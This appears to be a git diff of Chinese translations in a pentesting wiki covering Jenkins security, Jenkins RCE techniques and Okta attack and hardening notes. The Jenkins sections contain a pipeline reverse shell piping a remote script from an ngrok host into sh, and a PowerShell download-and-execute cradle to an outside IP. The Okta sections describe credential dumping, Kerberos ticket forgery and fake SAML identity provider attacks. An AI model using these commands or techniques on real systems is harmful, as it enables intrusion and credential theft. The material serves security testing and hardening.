**已登录用户可以做任何事**:在此模式下,每个 **已登录用户获得对 Jenkins 的完全控制**。唯一没有完全控制的用户是 **匿名用户**,他们只有 **读取权限**。 +- **基于矩阵的安全性**:你可以在表中配置 **谁可以做什么**。每个 **列** 代表一个 **权限**。每个 **行** 代表一个 **用户或组/角色**。这包括一个特殊用户 '**anonymous**',代表 **未认证用户**,以及 '**authenticated**',代表 **所有已认证用户**。 ![](<../../images/image (149).png>) -- **基于项目的矩阵授权策略**:此模式是对“**基于矩阵的安全性**”的**扩展**,允许为每个项目单独**定义额外的ACL矩阵**。 -- **基于角色的策略**:允许使用**基于角色的策略**定义授权。在`/role-strategy`中管理角色。 +- **基于项目的矩阵授权策略**:此模式是对 "**基于矩阵的安全性**" 的 **扩展**,允许为每个项目单独 **定义额外的 ACL 矩阵**。 +- **基于角色的策略**:启用使用 **基于角色的策略** 定义授权。在 `/role-strategy` 中管理角色。 -## **Security Realm** +## **安全领域** -在`/configureSecurity`中,可以**配置安全领域**。默认情况下,Jenkins支持几种不同的安全领域: +在 `/configureSecurity` 中,可以 **配置安全领域**。默认情况下,Jenkins 包含对几种不同安全领域的支持: -- **委托给servlet容器**:用于**委托认证给运行Jenkins控制器的servlet容器**,例如[Jetty](https://www.eclipse.org/jetty/)。 -- **Jenkins自己的用户数据库**:使用**Jenkins自己的内置用户数据存储**进行认证,而不是委托给外部系统。默认启用。 -- **LDAP**:将所有认证委托给配置的LDAP服务器,包括用户和组。 -- **Unix用户/组数据库**:**将认证委托给Jenkins控制器上的底层Unix**操作系统级用户数据库。此模式还允许重用Unix组进行授权。 +- **委托给 Servlet 容器**:用于 **委托认证给运行 Jenkins 控制器的 Servlet 容器**,例如 [Jetty](https://www.eclipse.org/jetty/)。 +- **Jenkins 自己的用户数据库**:使用 **Jenkins 自带的用户数据存储** 进行认证,而不是委托给外部系统。默认启用。 +- **LDAP**:将所有认证委托给配置的 LDAP 服务器,包括用户和组。 +- **Unix 用户/组数据库**:**将认证委托给底层 Unix** 操作系统级用户数据库。此模式还允许重用 Unix 组进行授权。 -插件可以提供额外的安全领域,这可能对将Jenkins纳入现有身份系统有用,例如: +插件可以提供额外的安全领域,这可能对将 Jenkins 纳入现有身份系统有用,例如: - [Active Directory](https://plugins.jenkins.io/active-directory) -- [GitHub Authentication](https://plugins.jenkins.io/github-oauth) +- [GitHub 认证](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Jenkins 节点、代理和执行器 -来自[docs](https://www.jenkins.io/doc/book/managing/nodes/)的定义: +来自 [docs](https://www.jenkins.io/doc/book/managing/nodes/) 的定义: -**节点**是**构建代理运行的机器**。Jenkins监控每个附加节点的磁盘空间、可用临时空间、可用交换空间、时钟时间/同步和响应时间。如果这些值中的任何一个超出配置的阈值,则节点将被下线。 +**节点** 是 **构建代理运行的机器**。Jenkins 监控每个附加节点的磁盘空间、可用临时空间、可用交换空间、时钟时间/同步和响应时间。如果这些值中的任何一个超出配置的阈值,节点将被下线。 -**代理**代表Jenkins控制器**管理任务执行**,通过**使用执行器**。代理可以使用任何支持Java的操作系统。构建和测试所需的工具安装在代理运行的节点上;它们可以**直接安装或在容器中安装**(Docker或Kubernetes)。每个**代理实际上是主机上的一个进程,具有自己的PID**。 +**代理** **管理** 代表 Jenkins 控制器的 **任务执行**,通过 **使用执行器**。代理可以使用任何支持 Java 的操作系统。构建和测试所需的工具安装在代理运行的节点上;它们可以 **直接安装或在容器中安装**(Docker 或 Kubernetes)。每个 **代理实际上是主机上的一个进程,具有自己的 PID**。 -**执行器**是**任务执行的插槽**;实际上,它是**代理中的一个线程**。节点上的**执行器数量**定义了可以在该节点上同时执行的**并发任务**的数量。换句话说,这决定了可以在该节点上同时执行的**并发Pipeline `stages`**的数量。 +**执行器** 是 **任务执行的插槽**;实际上,它是 **代理中的一个线程**。节点上的 **执行器数量** 定义了可以在该节点上同时执行的 **并发任务** 数量。换句话说,这决定了可以在该节点上同时执行的 **并发 Pipeline `stages`** 数量。 -## Jenkins Secrets +## Jenkins 秘密 -### Encryption of Secrets and Credentials +### 秘密和凭证的加密 -来自[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)的定义:Jenkins使用**AES加密和保护秘密**、凭据及其各自的加密密钥。这些加密密钥存储在`$JENKINS_HOME/secrets/`中,以及用于保护这些密钥的主密钥。该目录应配置为仅允许Jenkins控制器运行的操作系统用户具有对该目录的读写访问(即,`chmod`值为`0700`或使用适当的文件属性)。**主密钥**(有时在密码术语中称为“密钥加密密钥”)是**以\_未加密\_形式存储在Jenkins控制器文件系统中的**`$JENKINS_HOME/secrets/master.key`**,这并不能保护直接访问该文件的攻击者。大多数用户和开发人员将通过[Secret](https://javadoc.jenkins.io/byShortName/Secret) API间接使用这些加密密钥,以加密通用秘密数据或通过凭据API。对于对密码学感兴趣的人,Jenkins在密码块链接(CBC)模式下使用AES,使用PKCS#5填充和随机IV加密存储在`$JENKINS_HOME/secrets/`中的[CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey)实例,文件名对应于其`CryptoConfidentialKey` id。常见的密钥id包括: +来自 [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) 的定义:Jenkins 使用 **AES 加密和保护秘密**、凭证及其各自的加密密钥。这些加密密钥存储在 `$JENKINS_HOME/secrets/` 中,以及用于保护这些密钥的主密钥。此目录应配置为仅允许运行 Jenkins 控制器的操作系统用户具有读取和写入此目录的权限(即,`chmod` 值为 `0700` 或使用适当的文件属性)。**主密钥**(有时在密码术术语中称为 "密钥加密密钥")是 **以未加密形式存储** 在 Jenkins 控制器文件系统中的 **`$JENKINS_HOME/secrets/master.key`**,这并不能保护直接访问该文件的攻击者。大多数用户和开发人员将通过 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API 间接使用这些加密密钥,以加密通用秘密数据,或通过凭证 API。对于对密码学感兴趣的人,Jenkins 在密码块链(CBC)模式下使用 AES,带有 PKCS#5 填充和随机 IV 来加密存储在 `$JENKINS_HOME/secrets/` 中的 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 实例,文件名对应于其 `CryptoConfidentialKey` id。常见的密钥 id 包括: - `hudson.util.Secret`:用于通用秘密; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:用于某些凭据类型; -- `jenkins.model.Jenkins.crumbSalt`:由[CSRF保护机制](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)使用;以及 +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`:用于某些凭证类型; +- `jenkins.model.Jenkins.crumbSalt`:由 [CSRF 保护机制](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) 使用;以及 -### Credentials Access +### 凭证访问 -凭据可以**作用于全局提供者**(`/credentials/`),任何配置的项目都可以访问,或者可以作用于**特定项目**(`/job//configure`),因此仅可从特定项目访问。 +凭证可以 **作用于全局提供者** (`/credentials/`),任何配置的项目都可以访问,或者可以作用于 **特定项目** (`/job//configure`),因此仅可从特定项目访问。 -根据[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/):在作用域内的凭据可以无限制地提供给管道。为了**防止在构建日志中意外暴露**,凭据在常规输出中被**屏蔽**,因此调用`env`(Linux)或`set`(Windows),或打印其环境或参数的程序将**不会在构建日志中向本来无法访问凭据的用户显示它们**。 +根据 [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/):在作用域内的凭证可以无限制地提供给管道。为了 **防止在构建日志中意外暴露**,凭证从常规输出中 **被屏蔽**,因此 `env`(Linux)或 `set`(Windows)的调用,或打印其环境或参数的程序将 **不会在构建日志中向没有访问凭证的用户显示它们**。 -**这就是为什么攻击者需要,例如,将凭据进行base64编码以提取凭据。** +**这就是为什么攻击者需要,例如,将凭证进行 base64 编码以提取凭证。** -## References +## 参考 - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 445b50180..9c5a71691 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -4,11 +4,11 @@ 在这篇博客文章中,可以找到将Jenkins中的本地文件包含漏洞转化为RCE的好方法:[https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -这是一个AI生成的摘要,内容涉及如何利用任意cookie的构造来获取RCE,利用本地文件读取,直到我有时间自己创建摘要为止: +这是一个AI生成的摘要,关于如何利用任意cookie的构造来获取RCE,利用本地文件读取,直到我有时间自己创建摘要: ### 攻击前提 -- **功能要求:** “记住我”必须启用(默认设置)。 +- **功能要求:** 必须启用“记住我”(默认设置)。 - **访问级别:** 攻击者需要整体/读取权限。 - **秘密访问:** 能够读取关键文件中的二进制和文本内容。 @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Groovy脚本可用于在Jenkins环境中执行系统级命令或其他操作。 -提供的示例curl命令演示了如何使用必要的头和cookie向Jenkins发送请求,以安全地执行任意代码。 +提供的示例curl命令演示了如何使用必要的头和cookie向Jenkins发送请求以安全地执行任意代码。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 2da4bb0b5..b445bc31d 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -1,11 +1,11 @@ -# Jenkins Dumping Secrets from Groovy +# Jenkins 从 Groovy 中转储秘密 {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> 请注意,这些脚本只会列出 `credentials.xml` 文件中的秘密,但 **构建配置文件** 可能也包含 **更多凭据**。 +> 请注意,这些脚本只会列出 `credentials.xml` 文件中的秘密,但 **构建配置文件** 可能也会有 **更多凭据**。 -您可以通过运行此代码在 `/script` 中 **从 Groovy 脚本控制台转储所有秘密**。 +您可以通过运行以下代码在 `/script` 中 **从 Groovy 脚本控制台转储所有秘密**。 ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index 48a4f9952..34d2e6676 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -8,7 +8,7 @@ ![](<../../images/image (235).png>) -在 **Pipeline 部分** 中写入 **reverse shell**: +在 **Pipeline 部分** 中写入 **reverse shell**: ![](<../../images/image (285).png>) ```groovy @@ -26,7 +26,7 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh } } ``` -最后点击 **Save**,然后 **Build Now**,管道将被执行: +最后点击 **Save** 和 **Build Now**,管道将被执行: ![](<../../images/image (228).png>) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index f1a0ee3cd..85429a747 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -4,33 +4,33 @@ ## 创建项目 -此方法非常嘈杂,因为您必须创建一个全新的项目(显然,这仅在您允许用户创建新项目时有效)。 +此方法非常嘈杂,因为您必须创建一个全新的项目(显然,这仅在用户被允许创建新项目时有效)。 -1. **创建一个新项目**(自由风格项目),点击“新建项目”或在 `/view/all/newJob` -2. 在 **构建** 部分设置 **执行 shell**,并粘贴一个 powershell Empire 启动器或一个 meterpreter powershell(可以使用 _unicorn_ 获得)。使用 _PowerShell.exe_ 启动有效载荷,而不是使用 _powershell._ -3. 点击 **立即构建** -1. 如果 **立即构建** 按钮没有出现,您仍然可以转到 **配置** --> **构建触发器** --> `定期构建` 并设置一个 cron 为 `* * * * *` -2. 除了使用 cron,您还可以使用配置“**远程触发构建**”,您只需设置一个 api 令牌名称来触发作业。然后转到您的用户配置文件并 **生成一个 API 令牌**(将此 API 令牌称为您用于触发作业的 api 令牌)。最后,使用以下命令触发作业:**`curl :@/job//build?token=`** +1. **创建一个新项目**(自由风格项目),点击“新建项目”或在`/view/all/newJob`中 +2. 在**构建**部分设置**执行 shell**,并粘贴一个 powershell Empire 启动器或一个 meterpreter powershell(可以使用 _unicorn_ 获得)。使用 _PowerShell.exe_ 启动有效载荷,而不是使用 _powershell_。 +3. 点击**立即构建** +1. 如果**立即构建**按钮没有出现,您仍然可以转到**配置** --> **构建触发器** --> `定期构建`,并设置一个 cron 为 `* * * * *` +2. 除了使用 cron,您还可以使用配置“**远程触发构建**”,只需设置一个 api 令牌名称以触发作业。然后转到您的用户配置文件并**生成一个 API 令牌**(将此 API 令牌称为您用于触发作业的 api 令牌)。最后,使用以下命令触发作业:**`curl :@/job//build?token=`** ![](<../../images/image (165).png>) ## 修改项目 -转到项目并检查 **您是否可以配置任何** 项目(查找“配置按钮”): +转到项目并检查**您是否可以配置任何**项目(查找“配置按钮”): ![](<../../images/image (265).png>) -如果您 **看不到任何** **配置** **按钮**,那么您 **可能无法** **配置** 它(但检查所有项目,因为您可能能够配置其中一些而不是其他项目)。 +如果您**看不到任何**配置**按钮**,那么您**可能无法**配置它(但检查所有项目,因为您可能能够配置其中一些而不是其他项目)。 -或者 **尝试访问路径** `/job//configure` 或 `/me/my-views/view/all/job//configure` \_\_ 在每个项目中(示例:`/job/Project0/configure` 或 `/me/my-views/view/all/job/Project0/configure`)。 +或者**尝试访问路径** `/job//configure` 或 `/me/my-views/view/all/job//configure` \_\_ 在每个项目中(示例:`/job/Project0/configure` 或 `/me/my-views/view/all/job/Project0/configure`)。 ## 执行 -如果您被允许配置项目,您可以 **使其在构建成功时执行命令**: +如果您被允许配置项目,您可以**使其在构建成功时执行命令**: ![](<../../images/image (98).png>) -点击 **保存** 并 **构建** 项目,您的 **命令将被执行**。\ -如果您不是在执行反向 shell 而是一个简单命令,您可以 **在构建的输出中查看命令的输出**。 +点击**保存**并**构建**项目,您的**命令将被执行**。\ +如果您不是在执行反向 shell 而是简单命令,您可以**在构建的输出中查看命令的输出**。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 36e859144..2f5b4d9be 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -42,9 +42,9 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1 echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### 脚本 -您可以使用[**此脚本**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py)自动化此过程。 +您可以使用 [**这个脚本**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) 自动化此过程。 您可以使用 MSF 获取反向 shell: ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index e871e53b3..791240366 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -4,7 +4,7 @@ ## 基本信息 -[Okta, Inc.](https://www.okta.com/) 在身份和访问管理领域因其基于云的软件解决方案而受到认可。这些解决方案旨在简化和保护各种现代应用程序的用户身份验证。它们不仅服务于希望保护敏感数据的公司,还服务于希望将身份控制集成到应用程序、网络服务和设备中的开发人员。 +[Okta, Inc.](https://www.okta.com/) 在身份和访问管理领域因其基于云的软件解决方案而受到认可。这些解决方案旨在简化和保护各种现代应用程序的用户身份验证。它们不仅满足希望保护敏感数据的公司的需求,还满足希望将身份控制集成到应用程序、网络服务和设备中的开发人员的需求。 Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品,包括但不限于: @@ -14,10 +14,10 @@ Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品 - **通用目录**:实现用户、组和设备的集中管理。 - **API 访问管理**:保护和管理对 API 的访问。 -这些服务共同旨在加强数据保护并简化用户访问,提高安全性和便利性。Okta 解决方案的多样性使其成为各个行业的热门选择,适合大型企业、小公司和个人开发者。截至 2021 年 9 月的最后更新,Okta 被认为是身份和访问管理 (IAM) 领域的一个重要实体。 +这些服务共同旨在加强数据保护并简化用户访问,提高安全性和便利性。Okta 解决方案的多功能性使其成为各个行业的热门选择,适合大型企业、小公司和个人开发人员。截至 2021 年 9 月的最后更新,Okta 被认为是身份和访问管理 (IAM) 领域的一个重要实体。 > [!CAUTION] -> Okta 的主要目标是为不同用户和组配置对外部应用程序的访问。如果您设法在 Okta 环境中 **破坏管理员权限**,您很可能能够 **破坏公司使用的所有其他平台**。 +> Okta 的主要目标是为不同用户和组配置对外部应用程序的访问。如果您设法在 Okta 环境中 **破坏管理员权限**,您将很可能能够 **破坏公司使用的所有其他平台**。 > [!TIP] > 要对 Okta 环境进行安全审查,您应该请求 **管理员只读访问**。 @@ -28,36 +28,36 @@ Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品 这些用户可以在 **组** 内。\ 还有 **身份验证器**:不同的身份验证选项,如密码和多种 2FA,如 WebAuthn、电子邮件、电话、Okta Verify(它们可以启用或禁用)... -然后,有与 Okta 同步的 **应用程序**。每个应用程序将与 Okta 有一些 **映射** 以共享信息(如电子邮件地址、名字等)。此外,每个应用程序必须在 **身份验证策略** 中,指明用户 **访问** 应用程序所需的 **身份验证器**。 +然后,有与 Okta 同步的 **应用程序**。每个应用程序将与 Okta 有一些 **映射** 以共享信息(例如电子邮件地址、名字等)。此外,每个应用程序必须在 **身份验证策略** 中,指明用户 **访问** 应用程序所需的 **身份验证器**。 > [!CAUTION] > 最强大的角色是 **超级管理员**。 > -> 如果攻击者以管理员身份破坏 Okta,所有 **信任 Okta 的应用程序** 很可能会 **被破坏**。 +> 如果攻击者以管理员身份破坏 Okta,所有 **信任 Okta 的应用程序** 将很可能 **被破坏**。 ## 攻击 ### 定位 Okta 门户 -通常公司的门户将位于 **companyname.okta.com**。如果没有,请尝试简单的 **companyname.** 的 **变体**。如果找不到,也可能该组织有一个指向 **Okta 门户** 的 **CNAME** 记录,如 **`okta.companyname.com`**。 +通常公司的门户将位于 **companyname.okta.com**。如果没有,请尝试简单的 **companyname.** 的 **变体**。如果找不到,也可能该组织有一个 **CNAME** 记录,如 **`okta.companyname.com`** 指向 **Okta 门户**。 ### 通过 Kerberos 登录 Okta -如果 **`companyname.kerberos.okta.com`** 活跃,**Kerberos 用于 Okta 访问**,通常会绕过 **MFA** 以供 **Windows** 用户使用。要在 AD 中查找 Kerberos 认证的 Okta 用户,请使用 **适当的参数** 运行 **`getST.py`**。在获得 **AD 用户票证** 后,使用 Rubeus 或 Mimikatz 等工具将其 **注入** 到受控主机中,确保 **`clientname.kerberos.okta.com` 在 Internet 选项的 "内部网" 区域**。访问特定 URL 应返回 JSON "OK" 响应,表示 Kerberos 票证被接受,并授予访问 Okta 仪表板的权限。 +如果 **`companyname.kerberos.okta.com`** 是活动的,**Kerberos 用于 Okta 访问**,通常会绕过 **MFA** 对于 **Windows** 用户。要在 AD 中查找 Kerberos 身份验证的 Okta 用户,请使用 **`getST.py`** 运行 **适当的参数**。在获得 **AD 用户票证** 后,使用 Rubeus 或 Mimikatz 等工具将其 **注入** 到受控主机中,确保 **`clientname.kerberos.okta.com` 在 Internet 选项的 "Intranet" 区域**。访问特定 URL 应返回 JSON "OK" 响应,表示 Kerberos 票证被接受,并授予访问 Okta 仪表板的权限。 -破坏 **Okta 服务帐户与委派 SPN 使得银票攻击成为可能**。然而,Okta 使用 **AES** 进行票证加密,需要拥有 AES 密钥或明文密码。使用 **`ticketer.py` 为受害者用户生成票证**,并通过浏览器传递以进行 Okta 身份验证。 +破坏 **Okta 服务帐户与委派 SPN 使得 Silver Ticket 攻击成为可能**。然而,Okta 使用 **AES** 进行票证加密,需要拥有 AES 密钥或明文密码。使用 **`ticketer.py` 为受害者用户生成票证**,并通过浏览器传递以进行 Okta 身份验证。 **检查攻击在** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**。** ### 劫持 Okta AD 代理 -该技术涉及 **访问服务器上的 Okta AD 代理**,该代理 **同步用户并处理身份验证**。通过检查和解密 **`OktaAgentService.exe.config`** 中的配置,特别是使用 **DPAPI** 的 AgentToken,攻击者可以潜在地 **拦截和操纵身份验证数据**。这不仅允许 **监控** 和 **捕获用户凭据** 在 Okta 身份验证过程中的明文,还可以 **响应身份验证尝试**,从而实现未经授权的访问或通过 Okta 提供通用身份验证(类似于“万能钥匙”)。 +该技术涉及 **访问服务器上的 Okta AD 代理**,该代理 **同步用户并处理身份验证**。通过检查和解密 **`OktaAgentService.exe.config`** 中的配置,特别是使用 **DPAPI** 的 AgentToken,攻击者可以潜在地 **拦截和操纵身份验证数据**。这不仅允许 **监控** 和 **捕获用户凭据** 在 Okta 身份验证过程中以明文形式,还可以 **响应身份验证尝试**,从而实现未经授权的访问或通过 Okta 提供通用身份验证(类似于“万能钥匙”)。 **检查攻击在** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**。** ### 作为管理员劫持 AD -该技术涉及通过首先获取 OAuth 代码来劫持 Okta AD 代理,然后请求 API 令牌。该令牌与 AD 域相关联,并且 **连接器被命名以建立一个假 AD 代理**。初始化允许代理 **处理身份验证尝试**,通过 Okta API 捕获凭据。可用的自动化工具可以简化此过程,提供在 Okta 环境中拦截和处理身份验证数据的无缝方法。 +该技术涉及通过首先获取 OAuth 代码来劫持 Okta AD 代理,然后请求 API 令牌。该令牌与 AD 域相关联,并且 **连接器被命名以建立一个假 AD 代理**。初始化允许代理 **处理身份验证尝试**,通过 Okta API 捕获凭据。可用自动化工具来简化此过程,提供在 Okta 环境中拦截和处理身份验证数据的无缝方法。 **检查攻击在** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**。** @@ -65,7 +65,7 @@ Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品 **检查攻击在** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**。** -该技术涉及 **部署一个假 SAML 提供者**。通过使用特权帐户在 Okta 框架中集成外部身份提供者 (IdP),攻击者可以 **控制 IdP,随意批准任何身份验证请求**。该过程包括在 Okta 中设置 SAML 2.0 IdP,操纵 IdP 单点登录 URL 通过本地 hosts 文件进行重定向,生成自签名证书,并配置 Okta 设置以匹配用户名或电子邮件。成功执行这些步骤允许以任何 Okta 用户的身份进行身份验证,绕过对单个用户凭据的需求,显著提高访问控制,可能不会被注意。 +该技术涉及 **部署一个假 SAML 提供者**。通过使用特权帐户在 Okta 框架中集成外部身份提供者 (IdP),攻击者可以 **控制 IdP,随意批准任何身份验证请求**。该过程包括在 Okta 中设置 SAML 2.0 IdP,操纵 IdP 单点登录 URL 通过本地 hosts 文件进行重定向,生成自签名证书,并配置 Okta 设置以匹配用户名或电子邮件。成功执行这些步骤允许以任何 Okta 用户的身份进行身份验证,绕过对单个用户凭据的需求,显著提高访问控制,可能在不被注意的情况下进行。 ### 使用 Evilgnix 针对 Okta 门户的钓鱼 @@ -77,8 +77,8 @@ Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品 因此,如果该应用程序信任字段 **`userName`**,您可能无法更改它(因为通常无法更改该字段),但如果它信任例如 **`primaryEmail`**,您可能能够 **将其更改为同事的电子邮件地址** 并冒充它(您需要访问该电子邮件并接受更改)。 -请注意,这种冒充取决于每个应用程序的配置。只有信任您修改的字段并接受更新的应用程序将受到影响。\ -因此,如果存在,该应用程序应启用此字段: +请注意,这种冒充取决于每个应用程序的配置。只有那些信任您修改的字段并接受更新的应用程序将受到影响。\ +因此,该应用程序应该启用此字段(如果存在):
@@ -88,7 +88,7 @@ Okta 的旗舰产品是 **Okta Identity Cloud**。该平台包含一系列产品 ## 规避行为检测策略 -Okta 中的行为检测策略可能在遇到之前未知,但 **绕过** 它们可以通过 **直接针对 Okta 应用程序** 来实现,避免主要的 Okta 仪表板。使用 **Okta 访问令牌**,在 **特定应用程序的 Okta URL** 上重放令牌,而不是主登录页面。 +Okta 中的行为检测策略可能在遇到之前是未知的,但 **绕过** 它们可以通过 **直接针对 Okta 应用程序** 来实现,避免主要的 Okta 仪表板。使用 **Okta 访问令牌**,在 **特定应用程序的 Okta URL** 上重放令牌,而不是主登录页面。 关键建议包括: diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 3bf460d60..9e383b09f 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -12,10 +12,10 @@ ### 组 -这是您可以找到在 Okta 中创建的所有组的地方。了解不同的组(**权限**集合)可能授予**用户**的权限是很有趣的。\ +这是您可以找到在 Okta 中创建的所有组的地方。了解不同的组(**权限**集合)对**用户**的授予是很有趣的。\ 可以查看**包含在组中的人员**和**分配给每个组的应用程序**。 -当然,任何名为**admin**的组都很有趣,特别是**全球管理员**组,检查成员以了解谁是特权成员。 +当然,任何名为**admin**的组都是有趣的,特别是**全球管理员**组,检查成员以了解谁是特权成员。 从白盒审查来看,**全球管理员不应超过 5 个**(最好只有 2 或 3 个)。 @@ -27,19 +27,19 @@ 在这里可以观察到关键的个人信息,如名字、姓氏、电子邮件、用户名等是如何在 Okta 和其他应用程序之间共享的。这很有趣,因为如果用户可以在 Okta 中**修改某个字段**(例如他的名字或电子邮件),而该字段又被**外部应用程序**用来**识别**用户,那么内部人员可能会尝试**接管其他账户**。 -此外,在 Okta 的个人资料**`用户(默认)`**中,您可以看到**每个用户**具有的**字段**以及哪些字段是**可写**的。如果您无法看到管理面板,只需转到**更新您的个人资料**信息,您将看到可以更新的字段(请注意,要更新电子邮件地址,您需要验证它)。 +此外,在 Okta 的个人资料**`User (default)`**中,您可以看到每个**用户**具有**哪些字段**以及哪些字段是**可写的**。如果您无法看到管理面板,只需转到**更新您的个人资料**信息,您将看到可以更新的字段(请注意,要更新电子邮件地址,您需要验证它)。 ### 目录集成 目录允许您从现有来源导入人员。我想在这里您将看到从其他目录导入的用户。 -我没有看到它,但我想这很有趣,可以找出**Okta 用于导入用户的其他目录**,因此如果您**妥协该目录**,您可以在 Okta 中创建的用户中设置一些属性值,并**可能妥协 Okta 环境**。 +我还没有看到,但我想这很有趣,可以找出**Okta 用于导入用户的其他目录**,因此如果您**妥协该目录**,您可以在 Okta 中创建的用户中设置一些属性值,并**可能妥协 Okta 环境**。 ### 个人资料来源 个人资料来源是**作为用户个人资料属性的真实来源的应用程序**。用户一次只能由一个应用程序或目录提供。 -我没有看到它,因此关于此选项的安全性和黑客攻击的任何信息都很受欢迎。 +我还没有看到,所以关于此选项的安全和黑客信息将不胜感激。 ## 自定义 @@ -59,7 +59,7 @@ ### 其他 -有趣的设置,但从安全的角度来看没有什么特别有趣的内容。 +有趣的设置,但从安全角度来看没有什么特别有趣的。 ## 应用程序 @@ -71,7 +71,7 @@
-您可以看到有关该应用程序的更多详细信息(例如密码显示功能是否启用): +您可以看到有关该应用程序的更多详细信息(例如密码显示功能,如果已启用):
@@ -81,7 +81,7 @@ 使用访问认证创建审计活动,以定期审查用户对资源的访问,并在需要时自动批准或撤销访问。 -我没有看到它被使用,但我想从防御的角度来看,这是一个不错的功能。 +我还没有看到它被使用,但我想从防御的角度来看,这是一个不错的功能。 ## 安全 @@ -104,7 +104,7 @@ 在这里,您可以找到用户可以使用的所有身份验证方法:密码、电话、电子邮件、代码、WebAuthn... 单击密码认证器,您可以查看**密码策略**。请检查它是否强大。 -在**注册**选项卡中,您可以看到哪些是必需的或可选的: +在**注册**选项卡中,您可以查看哪些是必需的或可选的:
